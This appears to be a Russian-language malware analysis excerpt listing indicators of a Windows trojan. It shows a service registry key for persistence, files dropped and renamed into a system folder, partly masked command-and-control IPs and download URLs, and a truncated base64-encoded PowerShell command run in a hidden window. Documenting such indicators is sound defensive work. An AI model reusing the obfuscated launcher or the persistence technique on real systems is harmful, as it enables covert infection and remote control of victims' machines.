Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\rdpd3d] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\rdpd3d] 'ImagePath' = '"%WINDIR%\SysWOW64\kbd101a\rdpd3d.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAE0AQgBBAE8AaABvAHcAPQAnAEEASgBEAFEAUwBrAHMAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAGAAUgBJAGAAVAB5AHAAYABSAE8AVABPAGMAYABPAGwAIgAgAD...
- %HOMEPATH%\751.exe
- %WINDIR%\syswow64\kbd101a\rdpd3d.exe
- %HOMEPATH%\751.exe в %WINDIR%\syswow64\kbd101a\rdpd3d.exe
- '18#.#4.128.197':80
- '19#.#7.203.63':8080
- http://pr####itar.com.br/privilege/VwWMjYDU/
- http://pr####itar.com.br/cgi-sys/suspendedpage.cgi
- http://pr###clame.nl/assets/Riw/
- http://19#.##.203.63:8080/Sa3XEHHbf0kVM077/jce7fQayPX5SY/qtGyiM2h0/XrJGrpuuG7glf/p7B4KOIeTYAE/ via 19#.#7.203.63
- DNS ASK pr####itar.com.br
- DNS ASK pr###clame.nl
- '%HOMEPATH%\751.exe'
- '%WINDIR%\syswow64\kbd101a\rdpd3d.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAE0AQgBBAE8AaABvAHcAPQAnAEEASgBEAFEAUwBrAHMAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAGAAUgBJAGAAVAB5AHAAYABSAE8AVABPAGMAYABPAGwAIgAgAD...' (со скрытым окном)